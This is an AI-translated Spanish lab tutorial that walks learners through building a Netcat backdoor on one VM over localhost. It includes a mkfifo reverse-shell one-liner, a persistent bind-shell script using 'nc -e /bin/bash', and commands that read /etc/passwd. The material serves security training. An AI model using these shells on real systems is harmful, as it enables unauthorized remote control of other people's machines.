Crear una Puerta Trasera con Netcat

NmapNmapBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, aprenderás cómo crear una puerta trasera básica utilizando Netcat, una herramienta de redes versátil, para establecer conexiones remotas entre sistemas. Practicarás la configuración de escuchas, el inicio de conexiones y la ejecución de comandos remotos a través de ejercicios prácticos.

El laboratorio demuestra técnicas fundamentales de comunicación de red utilizadas en ciberseguridad, brindando información tanto sobre las capacidades ofensivas como sobre las consideraciones defensivas. Obtendrás experiencia práctica con la funcionalidad de Netcat mientras comprendes cómo se pueden aprovechar herramientas simples para crear puertas traseras.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/port_scanning -.-> lab-549927{{"Crear una Puerta Trasera con Netcat"}} nmap/target_specification -.-> lab-549927{{"Crear una Puerta Trasera con Netcat"}} nmap/service_detection -.-> lab-549927{{"Crear una Puerta Trasera con Netcat"}} end

Instalar Netcat

En este paso, instalarás Netcat (a menudo abreviado como 'nc'), una herramienta de redes fundamental que te permite leer y escribir en conexiones de red. Piensa en Netcat como un cuchillo suizo para la resolución de problemas de red y la transferencia de datos: será nuestra herramienta principal para crear conexiones entre computadoras en este laboratorio.

Antes de instalar cualquier cosa, es una buena práctica verificar si el software ya está disponible. Muchos sistemas Linux vienen con Netcat preinstalado. Vamos a verificar esto en nuestro entorno de máquina virtual (VM) de LabEx ejecutando:

nc -h

Este comando le pide a Netcat que muestre su información de ayuda. Si ves una lista de opciones de comando aparecer, ¡felicidades! Netcat ya está instalado en tu sistema. Si, en cambio, ves un error de "comando no encontrado", no te preocupes. Te guiaremos paso a paso por el proceso de instalación.

El proceso de instalación involucra tres comandos sencillos. Primero, necesitamos actualizar nuestra lista de paquetes para asegurarnos de obtener la versión más reciente de Netcat:

sudo apt update

El prefijo 'sudo' nos da privilegios de administrador, mientras que 'apt update' actualiza nuestra lista de paquetes de software disponibles. Después de que esto se complete, podemos proceder con la instalación real:

sudo apt install -y netcat

La bandera '-y' confirma automáticamente que queremos proceder con la instalación. Una vez que esto termine, debemos verificar que Netcat se haya instalado correctamente comprobando su información de versión:

nc -h

Ahora deberías ver una salida detallada que muestra las opciones de comando y la sintaxis de Netcat, similar a este ejemplo:

[v1.10-46]
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
	  [-m minttl] [-O length] [-P proxy_username] [-p source_port]
	  [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
	  [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]

Esta salida confirma que Netcat está instalado correctamente y listo para usar en los siguientes pasos de nuestro laboratorio. Las diversas opciones mostradas se te harán más familiares a medida que trabajes en los ejercicios.

Iniciar un escucha en la máquina del atacante

En este paso, configurarás tu máquina del atacante (la máquina virtual de LabEx) para esperar conexiones entrantes utilizando Netcat. Imagina esto como configurar un teléfono que espera llamadas: el escucha estará listo para recibir conexiones de otras máquinas. Esto es la base para establecer control remoto en pasos posteriores.

  1. Primero, naveguemos al directorio de trabajo correcto. Esto asegura que todos nuestros archivos se mantengan organizados en un solo lugar:
cd ~/project
  1. Ahora iniciemos el escucha de Netcat. Estamos utilizando el puerto 4444 (puedes elegir cualquier puerto disponible entre 1024 - 65535). Los puertos son como números de puerta: ayudan a identificar a dónde deben ir las conexiones:
nc -lvnp 4444

Desglosemos lo que hace cada bandera:

  • -l: Pone a Netcat en modo de escucha (como responder un teléfono)
  • -v: Muestra información detallada de la conexión (útil para solucionar problemas)
  • -n: Omite las consultas DNS (hace que las conexiones sean más rápidas)
  • -p: Especifica el número de puerto a utilizar
  1. Cuando tenga éxito, verás una confirmación de que el escucha está activo:
Listening on 0.0.0.0 4444

Tu terminal parecerá congelada: este es un comportamiento esperado porque Netcat está esperando activamente a que alguien se conecte. No cierres esta ventana de terminal; la necesitaremos pronto cuando establezcamos una conexión desde otra máquina.

Nota importante: En pruebas de seguridad reales o en escenarios del mundo real, los profesionales a menudo ejecutan escuchas en segundo plano o utilizan herramientas como tmux para administrar múltiples sesiones. Para este ejercicio de aprendizaje, lo mantenemos simple ejecutando en primer plano para que puedas ver claramente cómo funciona el proceso de conexión.

Conectar desde la máquina víctima

En este paso, simularás la conexión al escucha de Netcat desde una máquina víctima. Dado que estamos trabajando dentro de una sola máquina virtual de LabEx, usaremos la misma máquina para simular tanto el rol del atacante como el de la víctima abriendo una segunda conexión de terminal. Esta es una práctica común en pruebas de seguridad donde una sola máquina actúa como ambos extremos de la conexión con fines demostrativos.

  1. Primero, asegúrate de que tu escucha de Netcat todavía esté en ejecución en la primera terminal (desde el Paso 2). El escucha debe estar activo para aceptar conexiones entrantes. Si no lo está, reinícialo con el mismo comando:
nc -lvnp 4444
  1. Abre una nueva pestaña/ventana de terminal (haz clic derecho en la terminal y selecciona "Nueva pestaña" o usa el atajo Ctrl+Shift+T). Esta segunda terminal representará la máquina víctima en nuestra simulación.

  2. En la nueva terminal, conéctate al escucha utilizando el localhost (ya que estamos usando la misma máquina). La dirección IP 127.0.0.1 siempre se refiere a la máquina local:

nc -nv 127.0.0.1 4444

Explicación de las banderas utilizadas en el comando de conexión:

  • -n: Indica a Netcat que no resuelva nombres de host, lo que acelera la conexión
  • -v: Proporciona una salida detallada para que puedas ver los detalles de la conexión
  1. Deberías ver mensajes de conexión en ambas terminales confirmando la conexión exitosa:
  • En la terminal del escucha (mostrando la conexión entrante):
Connection received on 127.0.0.1 12345
  • En la terminal de la víctima (confirmando la conexión al escucha):
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
  1. Ahora puedes probar la comunicación básica entre las dos terminales:
  • Escribe un mensaje simple en la terminal de la víctima y presiona Enter
  • El mensaje debería aparecer inmediatamente en la terminal del escucha
  • Intenta enviar un mensaje de vuelta desde la terminal del escucha a la de la víctima para verificar la comunicación bidireccional
  1. Para salir de cualquiera de las conexiones cuando hayas terminado:
  • Presiona Ctrl+C para terminar la conexión inmediatamente
  • O escribe exit y presiona Enter para desconectar de manera más limpia

Enviar comandos de forma remota

En este paso, aprenderás cómo ejecutar comandos de forma remota a través de la conexión Netcat establecida. Esto demuestra una técnica fundamental en pruebas de penetración donde un atacante obtiene control sobre un sistema comprometido. Comprender este proceso ayuda a los profesionales de seguridad a defenderse contra este tipo de ataques.

  1. Primero, asegúrate de tener abiertas ambas terminales de los pasos anteriores:
  • Terminal 1: Escucha de Netcat (nc -lvnp 4444) - Esta es tu máquina atacante esperando conexiones
  • Terminal 2: Conexión de la víctima (nc -nv 127.0.0.1 4444) - Esto simula una máquina comprometida que se conecta de vuelta a ti
  1. En la Terminal 1 (escucha), envía un comando básico para probar la conexión:
whoami
  1. El comando se ejecuta en la máquina víctima (Terminal 2), pero aún no verás la salida porque no hemos configurado la redirección de salida adecuadamente. Este es un desafío inicial común cuando se trabaja con conexiones básicas de Netcat.

  2. En la Terminal 2, establece una conexión más avanzada que crea una shell de comandos adecuada con redirección de salida:

rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -nv 127.0.0.1 4444 > /tmp/f

Esto crea una tubería con nombre (/tmp/f) y configura una shell interactiva completa que envía tanto la salida estándar como los mensajes de error de vuelta al atacante.

  1. Ahora en la Terminal 1 (escucha), puedes ejecutar comandos y ver su salida correctamente:
ls -la
pwd
uname -a
  1. Prueba algunos comandos básicos de exploración del sistema para entender el entorno de la máquina víctima:
id
cat /etc/passwd | head -5
ps aux | head -5

Estos comandos muestran información del usuario, cuentas del sistema y procesos en ejecución respectivamente.

  1. Para crear una puerta trasera persistente que se reconecte automáticamente, puedes crear un script sencillo en ~/project:
echo 'while true; do nc -lvnp 4444 -e /bin/bash; done' > ~/project/backdoor.sh
chmod +x ~/project/backdoor.sh

Este script intenta establecer una conexión continuamente y proporcionar acceso a la shell cada vez que se ejecuta.

  1. Recuerda terminar todas las conexiones cuando hayas terminado presionando Ctrl+C en ambas terminales. Esto es importante para liberar recursos y finalizar el laboratorio adecuadamente.

Probar la funcionalidad de la puerta trasera

En este último paso, verificaremos si nuestro script de puerta trasera funciona como se espera. Este proceso muestra cómo un atacante podría mantener acceso a largo plazo a un sistema que ha comprometido. Probaremos tanto la funcionalidad inmediata como la persistencia (la capacidad de reconectarse más tarde).

Antes de comenzar, entendamos qué hará cada comando. El script de puerta trasera crea un puerto de escucha que espera conexiones entrantes. Cuando se establece la conexión, otorga al atacante la capacidad de ejecutar comandos de forma remota en la máquina víctima.

  1. Primero, confirmemos que nuestro script de puerta trasera existe en la ubicación correcta. Esto verifica si creamos el archivo correctamente en pasos anteriores:
ls -la ~/project/backdoor.sh
  1. Ahora ejecutaremos el script de puerta trasera en segundo plano. El símbolo & hace que se ejecute como un proceso en segundo plano para que podamos seguir usando esta terminal:
cd ~/project
./backdoor.sh &
  1. Verifiquemos que el script realmente esté en ejecución. Este comando muestra todos los procesos en ejecución y filtra por nuestro script de puerta trasera:
ps aux | grep backdoor.sh
  1. Abramos una nueva ventana de terminal (Terminal 2). Aquí simularemos a un atacante conectándose a la puerta trasera. Las banderas -nv hacen que netcat sea más detallado para que podamos ver los detalles de la conexión:
nc -nv 127.0.0.1 4444
  1. Ahora probemos si los comandos funcionan a través de la puerta trasera. Crearemos un archivo de prueba y luego lo leeremos para confirmar que tenemos acceso adecuado:
echo "Backdoor test successful" > ~/project/test.txt
cat ~/project/test.txt
  1. Verifiquemos la información básica del sistema para confirmar que tenemos ejecución completa de comandos. Estos comandos muestran nuestro usuario actual y el nombre del sistema:
whoami
hostname
  1. Para probar la persistencia, desconectémonos con Ctrl+C, esperemos 30 segundos y luego reconectémonos. Esto simula a un atacante regresando más tarde:
nc -nv 127.0.0.1 4444
  1. Verifiquemos que la puerta trasera mantuvo el acceso comprobando si nuestro archivo de prueba todavía existe:
cat ~/project/test.txt
  1. Finalmente, limpiemos todos los artefactos de prueba. Esto detiene el proceso de la puerta trasera y elimina nuestros archivos de prueba:
pkill -f backdoor.sh
rm ~/project/test.txt ~/project/backdoor.sh

Resumen

En este laboratorio, has aprendido cómo crear una conexión de puerta trasera utilizando Netcat, una herramienta de redes versátil. El ejercicio cubrió la instalación de Netcat en Linux, la configuración de un escucha con banderas específicas (-lvnp) y el establecimiento de un canal de comunicación oculto entre máquinas.

A través de esta experiencia práctica, has adquirido conocimientos prácticos sobre las capacidades de Netcat para crear puertas traseras de acceso remoto. El laboratorio también destacó consideraciones de seguridad importantes al trabajar con utilidades de red que pueden ser explotadas para obtener acceso no autorizado.